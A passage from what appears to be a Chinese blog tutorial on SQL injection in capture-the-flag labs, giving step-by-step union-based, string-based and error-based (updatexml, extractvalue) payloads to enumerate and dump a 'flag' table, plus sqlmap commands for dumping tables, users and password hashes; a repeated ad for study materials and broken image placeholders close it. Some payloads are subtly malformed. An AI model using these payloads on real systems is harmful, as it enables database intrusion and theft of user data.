7.GET注入;
注入字段在GET数据中
8.POST注入;
注入字段在 POST 数据中
9.Cookie注入;
注入字段在Cookie 数据中
10.Mysql结构;
…
Order by:(可以判断列数)
ORDER BY语句是SQL中非常重要的一个关键字,它可以让我们轻松对查询结果进行排序,让结果更有意义和可读性。通过合理使用ORDER BY语句,我们可以更好地利用SQL的强大功能,提高我们的查询效率和数据分析能力。
函数:
1.GROUP_CONCAT()是mysql提供的一个函数,它的作用是将所选表中的各个字段通过特定字段拼接起来。
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。information_schema数据库中包含的信息特别重要,通过这个表我们可以去获取到存在SQL注入网站的表,列,等信息。
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
看下面这个表更加直观一点:
具体可以查看什么是脱库:你的个人信息是如何被盗走的?MySQL脱库,脱库的原理,怎么脱库,脱库的步骤,一库三表六字段_数据脱库是什么意思-CSDN博客
一:整数型注入:
输入 ?id=1 and 1=1 ,发现正常回显,但是输入?id=1 and 1=2无回显
可以判断有注入点,接下来用 order by 判断列数
输入: ?id=1 order by 1和?id=1 order by 2都有回显,但是输入到?id=1 order by 3时就没有回显了,所以判断只有两列
接下来输入:?id=-1 union select 1,database(),查询数据库
注:其中id=-1是为了让前面所查询的不存在,从而爆出回显位置
例如:执行命令:?id=-1 union select 1,2 为了让只得到select 1,2的结果,然后判断出二这个位置可以被代替
发现回显给了我们库名:sqli
接下来输入:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“sqli”,查询库中的表
在回显中发现了两个列:news和flag,我们查询flag这个列
输入:?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ ,进行查列
根据回显提示,查询成功,接下来输入:
?id=-1 union select 1,group_concat(flag) from sqli.flag查询字段的内容
得到flag
补充:
sqlmap注入:
关于sqlmap的基础命令,将url修改为需要注入的url即可
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db
二:字符型注入:
这里先说一下注释(如:#;–+)的作用,详情查看:关于sql注入中的 --+_sql注入中的–±CSDN博客
输入:?id=1’ and ‘1’='1
接着再输入:?id=1’ and ‘1’='2
发现没有回显,所以判断此 Sql 注入为字符型注入
输入:1’ order by 1,2#判断列数,输入此命令正常回显
再输入:1’ order by 1,2,3#,输入此命令不回显
接下来输入:-1’ union select 1,2# 判断回显位
根据回显信息发现,‘2’是与数据库相连的,说明“2”为注点
接下来,输入:?id=-1’ union select 1,database()%23 爆库名
这里解释一下:#和%23其实是一样的,不过%23要用在url地址栏中,而#要用在网页的输入栏中
成功爆出表名为:sqli
接下来输入:?id=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
爆出了两个列名,接着在列flag中爆字数段
输入:?id=-1’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’%23
接着爆字数段中的所有数据
输入:?id=-1’ union select 1,(select flag from flag)%23
得到flag
三:报错注入
原理:
主要是通过在输入框中,用有限的可控参数,构造指定的错误,让其在前端页面显示报错信息,可以获取到最终的信息
当我们使用SQL注入的时候,如果使用and 1=1没有回显信息,然后输入错误的信息,有报错的时候,可以使用报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
重要的函数:extractvalue和updatexml都是MySQL对于XML文档数据进行查询的xpath函数,两个函数都是让参数中出现特殊符号,导致函数报错,并且将特殊符号之后的内容回显在报错语句语句中
(还有floor等函数我还没学习)
1.updatexml()函数:
payload:updatexml(Xml_document,Xpathstring,new_value)
xml_document:xml标记
Xpathstring:显示输入语句
new_value:新值
以上这个为该函数的参数,通过学习这个我们可以自己进行构造
1’ and updatexml(1,concat(‘‘,database(),’’),1) – #爆库;
1’ and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),‘~’),1) – #爆表;
1’ and updatexml(1,concat(‘~’,(select group_concat(select column_name from information_schema.columns where columns_name =xxx ) ,0x7e) , 3)#爆字段;
2.extractvalue()函数
extractvalue(XML_document,XPath_string)
XML_document:XML文档对象名称
XPath_string:输入的操作语句
extractvalue和updatexml在构造注入语句时的主要的区别在于参数数量
1’ and extract(1,concat(0x7e,database(),0x7e))#爆库
1’ and extract(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = xxx),0x7e))#爆表
1’ and extract(1,concat(0x7e,group_concat(select column_name from information_schema.columns where columns_name =xxx ),0x7e))#爆字段
输入命令:
1 and (select extractvalue(1, concat(0x7e, (select database()))))爆库
关于上面这条命令(详解见):SQL注入中的报错注入,updatexml(1,concat(0x7e,database(),0x7e),1)_1 and updatexml(1,(concat(0x7e,(select database())-CSDN博客,0x7e),1)_1 and updatexml(1,(concat(0x7e,(select database())-CSDN博客")
接着根据报错的信息输入:爆表
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
img-AmGNFWVO-1715543290641)]
[外链图片转存中…(img-JsAZoysm-1715543290641)]
[外链图片转存中…(img-54UojTQi-1715543290642)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!